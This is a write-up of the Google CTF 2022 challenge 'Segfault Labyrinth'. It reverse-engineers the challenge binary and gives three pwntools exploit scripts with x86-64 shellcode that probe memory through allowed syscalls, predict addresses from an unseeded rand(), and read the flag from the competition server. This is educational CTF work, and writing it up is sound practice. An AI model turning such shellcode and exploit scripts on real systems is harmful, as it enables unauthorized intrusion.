Introduction
In this write-up I will describe the journey to finish one of the challenges from Google CTF 2022 called Segfault Labyrinth in the reversing engineering miscellaneous category. The idea of this write-up is to cover mainly how to approach and understand a striped binary.
Summary Information
-
Name: Segfault Labyrinth
-
Author: Calle “Zeta Two” Svensson
-
Category: misc
-
Description: Be careful! One wrong turn and the whole thing comes crashing down
-
Host: segfault-labyrinth.2022.ctfcompetition.com
-
Port: 1337
Overview
In-Depth Analysis
The challenge provides a binary called challenge
that is a stripped ELF 64-bit
. A stripped binary is a program without any debugging symbols. It is normally used to reduce the size of the files and make the life of reversing engineers a living hell more difficult (and also responsible for most part of my headaches). First things first, checking the security settings using checksec
, it returns the following:
[19144] j3r3mias@serenity:misc-segfault-labyrinth > checksec --file challenge
[*] '/CTF/2022-google-ctf/misc-segfault-labyrinth/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
In this output a big thing to pay attention is that the binary has writable segments meaning that probably mmap
is being called to create pages with permissions that allow us to write and execute code. Besides that it also has executable stack (NX disabled
) and no presence of canary, what is a good thing in a challenge with “segfault” in the name. Trying to execute the binary, this is the output:
[19654] j3r3mias@serenity:misc-segfault-labyrinth > ./challenge
Welcome to the Segfault Labyrinth
AAAA
^C
✘ [19655] j3r3mias@serenity:misc-segfault-labyrinth >
There is a message of welcome and the binary hangs waiting for an input and nothing more. Then it’s morbin reversing time! I chose to use IDA that has a very useful disassembly feature. Because the binary is stripped and has no symbols to provide any help, I renamed a lot of variables in the decompiled code creating a context that helped me to understand better what is what. I will show some snippets and you can read the full code at the end of this article.
The first thing the program does is to open /dev/urandom
, and then it creates a page with 0x1000
bytes that is allowed to read and write content (third parameter).
urandom_fd = fopen("/dev/urandom", "r");
if ( urandom_fd )
{
corridor = 10LL;
labyrinth = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
labyrinth_p = labyrinth;
I renamed this variable to labyrinth
because this pointer is the entry point for us to the challenge. The second variable (with value 10) I called corridor
that represents the number of corridors the labyrinth will have after the construction. From this point ahead all snippets are part of a big while
loop that when some condition do not holds, the program ends the execution. If you check the original
code from the creator of the challenge, the code organization is very different (modular functions, constants, etc) but we need to fight with the weapons we have.
The next part read a byte from urandom
and limit the value from 0
to 15
, saving the value in ptr[0]
(I could not decide a better name to this variable).
v6 = fread(ptr, 1uLL, 1uLL, urandom_fd);
random_value_0_15 = ptr[0] & 0xF; // restrict random
LOBYTE(ptr[0]) &= 0xFu;
if ( v6 != 1 )
break;
for ( i = 0LL; i != 16; ++i )
{
v9 = random_value_0_15 == i;
rand_var = rand(); // ! srand not found in the code (?)
door = mmap((void *)(((__int64)rand_var << 12) + 0x10000), 0x1000uLL, 3 * v9, 34, -1, 0LL);
labyrinth_p[i] = door;
if ( !door)
{
fwrite("Error: failed to allocate memory.\n", 1uLL, 0x22uLL, stderr);
goto LABYRINTH_FAIL;
}
random_value_0_15 = ptr[0]; // useless?
}
labyrinth_p = (_QWORD *)labyrinth_p[LOBYTE(ptr[0])];
if ( !labyrinth_p )
goto LABYRINTH_FAIL;
if ( !--corridor )
{
...
After that, it starts a loop of 16 iterations (using i
as the counter) where it checks if the value of i
is the same as the picked value in random_value_0_15
and save the result in v9
(consider this a boolean (0
or 1
)). Then it picks a value from rand
and save it in rand_var
. The BIG observation here is that rand
was not seeded (remember this for later). Thereafter a page is created (called here door
) where the starting address is calculated using rand_var
with the bits “left-shifted” 12 positions. Also the protections of this page uses v9 * 3
and if this result is 1, then the protection will be the value 3 that is PROT_READ
and PROT_WRITE
, and if the value is 0, the protection is PROT_NONE
(pages cannot be accessed) (again, check the original to see how different a decompiled code can be probably (but not only) because of flag optimizations).
Outside the loop, the only door with writable attributes is set in labyrinth_p
. This is the access point to the next corridor. Also, after that, it checks if corridor
is zero. While not, the loop starts again creating a new corridor (using the current access point as a reference) with new 16 doors where only a single door will have writable attributes again. This pattern continues until the last corridor (0
) when the if
finally branch in.
if ( !--corridor )
{
fclose(urandom_fd);
flag_fd = fopen("flag.txt", "r");
flag_fd_p = flag_fd;
if ( flag_fd )
{
if ( fread(labyrinth_p, 1uLL, 0x1000uLL, flag_fd) )
{
fclose(flag_fd_p);
shellcode = (void (__fastcall *)(_QWORD))mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
shellcode_p = shellcode;
if ( shellcode )
{
clear_registers_size = &clear_registers_end - (_UNKNOWN *)clear_registers;
memcpy(shellcode, clear_registers, &clear_registers_end - (_UNKNOWN *)clear_registers);
puts("Welcome to the Segfault Labyrinth");
Now, after the last corridor, the flag is written to the last writable door. Then the code allocates a page to receive our shellcode right after a part that clears all “useful” registers of the program, except for RDI
. This clear_registers
were found in .data
and renamed properly.
.data:0000000000004088 ; =============== S U B R O U T I N E ==============
.data:0000000000004088
.data:0000000000004088 clear_registers proc near
.data:0000000000004088 xor rax, rax
.data:000000000000408B xor rcx, rcx
.data:000000000000408E xor rdx, rdx
.data:0000000000004091 xor rbx, rbx
.data:0000000000004094 xor rsi, rsi
.data:0000000000004097 xor rsp, rsp
.data:000000000000409A xor rbp, rbp
.data:000000000000409D xor r8, r8
.data:00000000000040A0 xor r9, r9
.data:00000000000040A3 xor r10, r10
.data:00000000000040A6 xor r11, r11
.data:00000000000040A9 xor r12, r12
.data:00000000000040AC xor r13, r13
.data:00000000000040AF xor r14, r14
.data:00000000000040B2 xor r15, r15
.data:00000000000040B2 clear_registers endp
Finally the program send the first output that is the welcome message.
puts("Welcome to the Segfault Labyrinth");
ptr[6] = 0xE701000015LL;
ptr[0] = 0x400000020LL;
...
v22 = 23;
v23 = ptr;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
perror("prctl(NO_NEW_PRIVS)");
}
else if ( prctl(22, 2LL, &v22) )
{
perror("prctl(PR_SET_SECCOMP)");
}
After the message, there are a lot of constant numbers set in ptr
. I did not dug further what is each number. What I did was use one of the tools the CTF provided to help us that is Google. Throwing some number there, it returned values used in seccomp (it provides a secure state of the calling process dealing with system calls). Then I used seccomp-tools
to collect the rules seccomp is applying to the program. This is the output:
[19703] j3r3mias@serenity:misc-segfault-labyrinth > seccomp-tools dump ./challenge
Welcome to the Segfault Labyrinth
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000004 if (A != stat) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x06 0x00 0x00 0x00000000 return KILL
[19704] j3r3mias@serenity:misc-segfault-labyrinth >
The process has its syscalls
restricted to rt_sigreturn
, exit_group
, exit
, read
, mmap
, munmap
, fstat
, stat
and write
. The next part of the program read a value to ptr
that is the length of our payload.
for ( j = 0LL; j <= 7; j += read(0, ptr, 8 - j) )
;
if ( j == 8 )
{
ptr[0] %= (unsigned __int64)(4096 - clear_registers_size);
v18 = ptr[0];
if ( !ptr[0] )
goto RUN_SHELLCODE_LABEL;
do
corridor += read(0, (char *)shellcode_p + clear_registers_size, v18 - corridor);
while ( v18 > corridor );
if ( ptr[0] != corridor )
{
fwrite("Error: failed to read code. Exiting.\n", 1uLL, 0x25uLL, stderr);
return_code = -1;
}
else
{
RUN_SHELLCODE_LABEL:
shellcode_p(labyrinth);
}
}
Then our payload is written to the first position after clear_registers
and if everything is OK the shellcode is called.
Summarizing
The main idea of the program is create a labyrinth of corridors where a single door Dn
in a corridor Cm
(where n
is a random number and m
is the number of the corridor) points to the beginning of the next corridor and continues so on until it reaches the flag. The following image illustrate this behavior:
And also the program receive a payload as input that is restricted to a few syscalls.
Strategies and Solutions
Once we get the core idea of the binary, there are two approachable strategies to the challenge, that I believe follows what the creator intended to do: (01) Explore the Labyrinth and (02) Rage Against the Random. As a bonus, there will be a third one that I called the (03) Lazy CTF Player.
01 - Explore the Labyrinth
For me, this is the clear one. When you run the program, the payload will be combined with clear_registers
that let us with only a single address in the register RDI
. This address is the entry point of the labyrinth. To check this statement, the image below shows an execution where the payload have multiple INT3 (\xcc)
instruction which throws a SIGTRAP in the debugger.
Now the target is clear, we need a payload that travels through the doors in a corridor until we find the one that has writable permissions. To test if a memory location is writable, we need to use one of the syscalls available to us. There are two promising ones (stat
and write
). In short:
-
stat
- Return information about a file, in the buffer pointed to bystatbuf
. -
write
- Writes upN
bytes from the buffer starting at a position in the file referred to by the file descriptorfd
.
In both cases, when the address is not accessible, it returns an EFAULT
. EFAULT
is when you try to access or write in a bad address or an outside of your accessible address space. To this solution, I choose to use stat
. The payload has three parts: Check Doors
, Explore Every Corridor
and Read the Flag
.
Check Doors
Given a corridor, check each door (address) trying to find which one is writable. Since every corridor has only one door that give access to the next corridor, I used an infinite loop that breaks when the correct one is found.
; Use r15 as the reference to explore
mov r15, rdi
; while (1)
doors_loop:
mov rdi, [r15]
; Use a position after our payload
lea rsi, [rip + 0x300]
mov rax, 4
syscall
; compare the return with EFAULT (-14)
cmp rax, -14
jne doors_end_loop
add r15, 8
jmp doors_loop
doors_end_loop:
The code uses R15
as a reference to explore, copy the address to be checked to RDI
and call stat
(value 4 in RAX
). After that, check if the returned value is equal to EFAULT
(-14) and ends the loop when the writable address is found.
Explore Every Corridor
We also know that with this approach, all corridors need to be traveled. Then this part of the code is basically a for loop from 10
to 0
, using EBX
as a counter.
mov ebx, 10
corridors_loop:
cmp ebx, 0
je end_corridor_exit_labyrinth
dec ebx
; SAME CODE SHOWED IN CHECK DOORS
doors_end_loop:
mov r15, [r15]
jmp corridors_loop
end_corridor_exit_labyrinth:
After Check Doors
, we know that the address in R15
has the writable address of that corridor, then we can de-reference R15
that will point to the next corridor, and continue this procedure until the last one that points to the flag.
Read the Flag
In the last part of the code, RDI
contains the address to our desired flag, then we use the syscall
write
reading 0x100
bytes to stdout
and finish the payload calling exit
with success.
end_corridor_exit_labyrinth:
mov rsi, rdi
mov rdi, 1
mov rdx, 0x100
mov rax, 1
syscall
mov rax, 0x3c
xor rdi, rdi
syscall
nop
nop
nop
nop
In the end of the code, there are some NOP
s (no operation) just because if the page where payload got copied has some garbage, then the last instruction could be messed somehow.
Execution
Getting all the code together, the following image shows how this approach should works:
And running the solution this is the output:
[19996] j3r3mias@serenity:misc-segfault-labyrinth > python writeup-solver-01.py REMOTE DEBUG
[*] '/CTF/2022-google-ctf/misc-segfault-labyrinth/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[DEBUG] cpp -C -nostdinc -undef -P -I/home/j3r3mias/.local/lib/python3.10/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
// for (ebx = 10; ebx > 0; ebx--)
nop
mov ebx, 10
corridors_loop:
cmp ebx, 0
je end_corridor_exit_labyrinth
dec ebx
// Use r15 as the reference to explore
mov r15, rdi
// while (1)
doors_loop:
// Use a position after our payload
mov rdi, [r15]
lea rsi, [rip + 0x300]
mov rax, 4
syscall
// compare return with EFAULT (-14)
cmp rax, -14
jne doors_end_loop
add r15, 8
jmp doors_loop
doors_end_loop:
mov r15, [r15]
jmp corridors_loop
end_corridor_exit_labyrinth:
mov rsi, rdi
mov rdi, 1
mov rdx, 0x100
mov rax, 1
syscall
mov rax, 0x3c
xor rdi, rdi
syscall
nop
nop
nop
nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-tjt5j4r1/step2 /tmp/pwn-asm-tjt5j4r1/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-tjt5j4r1/step3 /tmp/pwn-asm-tjt5j4r1/step4
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[DEBUG] Received 0x1e bytes:
b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x22 bytes:
b'Welcome to the Segfault Labyrinth\n'
[*] Payload length: 94
[DEBUG] Sent 0x9 bytes:
00000000 5e 00 00 00 00 00 00 00 0a │^···│····│·│
00000009
[DEBUG] Sent 0x5f bytes:
00000000 90 bb 0a 00 00 00 83 fb 00 74 29 ff cb 49 89 ff │····│····│·t)·│·I··│
00000010 49 8b 3f 48 8d 35 00 03 00 00 48 c7 c0 04 00 00 │I·?H│·5··│··H·│····│
00000020 00 0f 05 48 83 f8 f2 75 06 49 83 c7 08 eb e1 4d │···H│···u│·I··│···M│
00000030 8b 3f eb d2 48 89 fe 48 c7 c7 01 00 00 00 48 c7 │·?··│H··H│····│··H·│
00000040 c2 00 01 00 00 48 c7 c0 01 00 00 00 0f 05 48 c7 │····│·H··│····│··H·│
00000050 c0 3c 00 00 00 48 31 ff 0f 05 90 90 90 90 0a │·<··│·H1·│····│···│
0000005f
[+] Receiving all data: Done (257B)
[DEBUG] Received 0x100 bytes:
00000000 43 54 46 7b 63 30 6e 67 72 61 74 75 6c 61 74 31 │CTF{│c0ng│ratu│lat1│
00000010 6f 6e 73 5f 6f 4e 5f 6d 34 6b 31 6e 47 5f 31 74 │ons_│oN_m│4k1n│G_1t│
00000020 5f 74 68 72 30 75 47 68 5f 74 68 33 5f 6c 34 42 │_thr│0uGh│_th3│_l4B│
00000030 79 72 31 6e 74 68 7d 0a 00 00 00 00 00 00 00 00 │yr1n│th}·│····│····│
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
[*] Closed connection to segfault-labyrinth.2022.ctfcompetition.com port 1337
[*] Output: b'\nCTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}\n'
[19997] j3r3mias@serenity:misc-segfault-labyrinth >
02 - Rage Against the Random
Like I previous mentioned in the overview, rand_var
uses the function rand()
, an implementation of a Pseudorandom Number Generator (PRNG), that is not properly seeded in the code. The documentation states that “If you call rand
before a seed has been established with srand
, it uses the value 1
as a default seed.”. Because of that the same door will always have the same starting address in every execution. The only difference between different runs is because the writable doors are chosen using /dev/urandom
.
To take advantage of that we can use the libc
to calculate the starting address of all 160 doors (10 corridors * 16 doors per each). The following snippet build a list with all starting addresses:
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
doors = []
for i in range(10 * 16):
address = (libc.rand() << 12) + 0x10000
doors.append(hex(address))
Now we do not need to follow the rules of the labyrinth, and in one of the most naive approaches we could just test every address using stat
or write
and print the content every time the address is writable. This would requires a huge payload but we can improve this strategy testing only the doors of the last corridor where only one door has writable permissions. Then using the generated list of doors, the construction of the payload (using python) is the following:
for addr in doors[-16:]: # Last 16 doors
door_code = f'''
mov rdi, {addr}
lea rsi, [rip + 950]
mov rax, 4
syscall
// compare return with EFAULT (-14)
cmp rax, -14
jne print_flag
'''
payload += door_code
payload += '''
print_flag:
// write content
mov rsi, rdi
mov rdi, 1
mov rdx, 0x100
mov rax, 1
syscall
// exit
mov rax, 0x3c
xor rdi, rdi
syscall
nop
nop
nop
nop
'''
The loop in the code just creates a block of code that test each one of the last 16 doors appending it to payload
. When the right one is found, the program jumps to the label print_flag
, write the flag to stdout
and exit successfully. The full solution can be checked at the end of this article.
03 - Bonus: Lazy CTF Player
This is one of that solutions you are ashamed to be proud of yourself during CTFs, but it works. Using some consolidation of the previous two solutions, this one just guess one of the last 16 doors and repeatedly connects to the server trying always to read the same picked address again and again until that one is picked from the server as the one to have the flag. Since we only need to pick an address between 16 doors, 6.25%
of chances to hit the jackpot is very doable even if the contest uses some kind of PoW (Proof of Work), which it did not. Now the payload is reduced (22 bytes) to:
mov rsi, ADDRESS_GUESS
mov edi, 1
mov dl, 0x40
inc eax
syscall
nop
Not the most beautiful one but flag is flag! ¯\_(ツ)_/¯
Check the output:
[20891] j3r3mias@serenity:misc-segfault-labyrinth > python writeup-solver-03.py REMOTE DEBUG
[*] '/CTF/2022-google-ctf/misc-segfault-labyrinth/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[*] Lucky address guess: 0x68eb2f73000
[DEBUG] cpp -C -nostdinc -undef -P -I/home/j3r3mias/.local/lib/python3.10/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
mov rsi, 0x68eb2f73000
mov edi, 1
mov dl, 0x40
inc eax
syscall
nop
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-8t8ji1n0/step2 /tmp/pwn-asm-8t8ji1n0/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-8t8ji1n0/step3 /tmp/pwn-asm-8t8ji1n0/step4
[*] Payload length using 0x68eb2f73000: 22
[*] Attempt: 01
[!] Fail
[*] Attempt: 02
[!] Fail
[*] Attempt: 03
[!] Fail
[*] Attempt: 04
[!] Fail
[*] Attempt: 05
[!] Fail
[*] Attempt: 06
[+] Output:
CTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}
[20892] j3r3mias@serenity:misc-segfault-labyrinth >
Final Considerations
This challenges was really a journey to reverse engineering with a lot of opportunities to suffer learn, review concepts and practice more understanding of other peoples code. Every year Google CTF delivers a variety of good challenges and this year was not different.
P.S.: After I finished to write this article, I saw that LiveOverflow and PwnFuncTtion recently published two excellent videos about random and seeds. The first one approaching the creation of worlds in Minecraft and the last one about how random works in V8 (Google’s open source high-performance JavaScript and WebAssembly engine). Both videos are a good examples of how solving challenges like Segfault Labyrinth is a good practice to understand how a lot of projects work and what to do when you face its usage like we did it.
Codes
01 - Exploit 01 - Explore the Labyrinth
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# $ pwn template --host segfault-labyrinth.2022.ctfcompetition.com --port 1337 ./challenge
from pwn import *
exe = context.binary = ELF('./challenge')
host = args.HOST or 'segfault-labyrinth.2022.ctfcompetition.com'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
printable = bytes(string.printable, 'ascii')
payload = '''
// for (ebx = 10; ebx > 0; ebx--)
nop
mov ebx, 10
corridors_loop:
cmp ebx, 0
je end_corridor_exit_labyrinth
dec ebx
// Use r15 as the reference to explore
mov r15, rdi
// while (1)
doors_loop:
mov rdi, [r15]
// Use a position after our payload
lea rsi, [rip + 0x300]
mov rax, 4
syscall
// compare return with EFAULT (-14)
cmp rax, -14
jne doors_end_loop
add r15, 8
jmp doors_loop
doors_end_loop:
mov r15, [r15]
jmp corridors_loop
end_corridor_exit_labyrinth:
mov rsi, rdi
mov rdi, 1
mov rdx, 0x100
mov rax, 1
syscall
mov rax, 0x3c
xor rdi, rdi
syscall
nop
nop
nop
nop
'''
payload = asm(payload)
io = start()
io.recvuntil(b'Welcome to the Segfault Labyrinth')
info('Payload length: %d', len(payload))
io.sendline(p64(len(payload)))
io.sendline(payload)
output = ''.join(map(chr, filter(lambda x: x in printable, io.recvall(timeout = 2))))
io.close()
log.info('Output: %s', output)
02 - Exploit 02 - Rage Against the Random
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# $ pwn template --host segfault-labyrinth.2022.ctfcompetition.com --port 1337 ./challenge
from pwn import *
exe = context.binary = ELF('./challenge')
host = args.HOST or 'segfault-labyrinth.2022.ctfcompetition.com'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
printable = bytes(string.printable, 'ascii')
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
doors = []
for i in range(10 * 16):
address = (libc.rand() << 12) + 0x10000
doors.append(hex(address))
payload = ''
for addr in doors[-16:]:
door_code = f'''
mov rdi, {addr}
lea rsi, [rip + 950]
mov rax, 4
syscall
// compare return with EFAULT (-14)
cmp rax, -14
jne print_flag
'''
payload += door_code
payload += '''
print_flag:
// write content
mov rsi, rdi
mov rdi, 1
mov rdx, 0x100
mov rax, 1
syscall
// exit
mov rax, 0x3c
xor rdi, rdi
syscall
nop
nop
nop
nop
'''
payload = asm(payload)
io = start()
io.recvuntil(b'Welcome to the Segfault Labyrinth')
info('Payload length: %d', len(payload))
io.sendline(p64(len(payload)))
io.sendline(payload)
output = io.recvall()
output = ''.join(map(chr, filter(lambda x: x in printable, output)))
io.close()
log.info('Output: %s', output)
03 - Exploit 03 - Lazy CTF Player (Bonus)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# $ pwn template --host segfault-labyrinth.2022.ctfcompetition.com --port 1337 ./challenge
from audioop import add
from pwn import *
exe = context.binary = ELF('./challenge')
host = args.HOST or 'segfault-labyrinth.2022.ctfcompetition.com'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
printable = bytes(string.printable, 'ascii')
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
doors = []
for i in range(10 * 16):
address = (libc.rand() << 12) + 0x10000
doors.append(hex(address))
# Pick one door of the last corridor
guess_address = random.choice(doors[-16:])
info('Lucky guess address: %s', guess_address)
payload = f'''
mov rsi, {guess_address}
mov edi, 1
mov dl, 0x40
inc eax
syscall
nop
'''
payload = asm(payload)
info('Payload length using %s: %d', guess_address, len(payload))
attempt = 0
while True:
attempt += 1
info('Attempt: %02d', attempt)
context.log_level = 'ERROR';
io = start()
io.recvuntil(b'Welcome to the Segfault Labyrinth')
io.sendline(p64(len(payload)))
io.sendline(payload)
output = io.recvall()
output = ''.join(map(chr, filter(lambda x: x in printable, output)))
io.close()
context.log_level = 'INFO'
if 'CTF' in output:
success('Output: %s', output)
break
else:
warning('Fail')
04 - IDA Disassembly of the Binary
__int64 __fastcall main(int a1, char **a2, char **a3)
{
FILE *urandom_fd;
unsigned __int64 corridor;
_QWORD *labyrinth_p;
size_t v6;
unsigned __int8 random_value_0_15;
__int64 i;
_BOOL4 v9;
int rand_var;
void *door;
FILE *flag_fd, *flag_fd_p;
void (__fastcall *shellcode)(_QWORD);
void (__fastcall *shellcode_p)(_QWORD);
signed __int64 clear_registers_size;
unsigned __int64 j, v18;
unsigned int return_code;
_QWORD *labyrinth;
__int16 v22;
__int64 *v23, ptr[21];
__int16 v25, v26;
int v27;
__int64 v28;
if ( setvbuf(stdout, 0LL, 2, 0LL) )
{
fwrite("Error: failed to disable output buffering. Exiting\n", 1uLL, 0x33uLL, stderr);
return_code = -1;
}
else
{
return_code = setvbuf(stdin, 0LL, 2, 0LL);
if ( return_code )
{
fwrite("Error: failed to disable input buffering. Exiting\n", 1uLL, 0x32uLL, stderr);
return_code = -1;
}
else
{
urandom_fd = fopen("/dev/urandom", "r");
if ( urandom_fd )
{
corridor = 10LL;
labyrinth = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
labyrinth_p = labyrinth;
while ( 1 )
{
v6 = fread(ptr, 1uLL, 1uLL, urandom_fd);
random_value_0_15 = ptr[0] & 0xF; // restrict random
LOBYTE(ptr[0]) &= 0xFu;
if ( v6 != 1 )
break;
for ( i = 0LL; i != 16; ++i )
{
v9 = random_value_0_15 == i;
rand_var = rand(); // ! srand not found in the code (?)
door = mmap((void *)(((__int64)rand_var << 12) + 0x10000), 0x1000uLL, 3 * v9, 34, -1, 0LL);
labyrinth_p[i] = door;
if ( !door)
{
fwrite("Error: failed to allocate memory.\n", 1uLL, 0x22uLL, stderr);
goto LABYRINTH_FAIL;
}
random_value_0_15 = ptr[0];
}
labyrinth_p = (_QWORD *)labyrinth_p[LOBYTE(ptr[0])];
if ( !labyrinth_p )
goto LABYRINTH_FAIL;
if ( !--corridor )
{
fclose(urandom_fd);
flag_fd = fopen("flag.txt", "r");
flag_fd_p = flag_fd;
if ( flag_fd )
{
if ( fread(labyrinth_p, 1uLL, 0x1000uLL, flag_fd) )
{
fclose(flag_fd_p);
shellcode = (void (__fastcall *)(_QWORD))mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
shellcode_p = shellcode;
if ( shellcode )
{
clear_registers_size = &clear_registers_end - (_UNKNOWN *)clear_registers;
memcpy(shellcode, clear_registers, &clear_registers_end - (_UNKNOWN *)clear_registers);
puts("Welcome to the Segfault Labyrinth");
ptr[6] = 0xE701000015LL;
ptr[0] = 0x400000020LL;
ptr[8] = 0x3C01000015LL;
ptr[1] = 0xC000003E00010015LL;
ptr[12] = 0x901000015LL;
ptr[4] = 0xF01000015LL;
ptr[14] = 0xB01000015LL;
ptr[5] = 0x7FFF000000000006LL;
ptr[7] = 0x7FFF000000000006LL;
ptr[9] = 0x7FFF000000000006LL;
ptr[11] = 0x7FFF000000000006LL;
ptr[13] = 0x7FFF000000000006LL;
ptr[15] = 0x7FFF000000000006LL;
ptr[16] = 0x501000015LL;
ptr[17] = 0x7FFF000000000006LL;
ptr[19] = 0x7FFF000000000006LL;
ptr[18] = 0x401000015LL;
ptr[20] = 0x101000015LL;
ptr[2] = 6LL;
ptr[3] = 32LL;
ptr[10] = 16777237LL;
v25 = 6;
v26 = 0;
v27 = 2147418112;
v28 = 6LL;
v22 = 23;
v23 = ptr;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
perror("prctl(NO_NEW_PRIVS)");
}
else if ( prctl(22, 2LL, &v22) )
{
perror("prctl(PR_SET_SECCOMP)");
}
for ( j = 0LL; j <= 7; j += read(0, ptr, 8 - j) )
;
if ( j == 8 )
{
ptr[0] %= (unsigned __int64)(4096 - clear_registers_size);
v18 = ptr[0];
if ( !ptr[0] )
goto RUN_SHELLCODE_LABEL;
do
corridor += read(0, (char *)shellcode_p + clear_registers_size, v18 - corridor);
while ( v18 > corridor );
if ( ptr[0] != corridor )
{
fwrite("Error: failed to read code. Exiting.\n", 1uLL, 0x25uLL, stderr);
return_code = -1;
}
else
{
RUN_SHELLCODE_LABEL:
shellcode_p(labyrinth);
}
}
else
{
fwrite("Error: failed to read code size. Exiting.\n", 1uLL, 0x2AuLL, stderr);
return_code = -1;
}
}
else
{
fwrite("Error: failed to allocate shellcode memory. Exiting.\n", 1uLL, 0x35uLL, stderr);
return_code = -1;
}
}
else
{
fwrite("Error: failed to read flag. Exiting.\n", 1uLL, 0x25uLL, stderr);
return_code = -1;
}
}
else
{
fwrite("Error: failed to open flag. Exiting.\n", 1uLL, 0x25uLL, stderr);
return_code = -1;
}
return return_code;
}
}
fwrite("Error: failed to read random. Exiting.\n", 1uLL, 0x27uLL, stderr);
LABYRINTH_FAIL:
fwrite("Error: failed to build labyrinth. Exiting\n", 1uLL, 0x2AuLL, stderr);
return_code = -1;
}
else
{
fwrite("Error: failed to open urandom. Exiting\n", 1uLL, 0x27uLL, stderr);
return_code = -1;
}
}
}
return return_code;
}
References
Capture the Flag , Miscellaneous , Pwnable , Shellcode , Writeup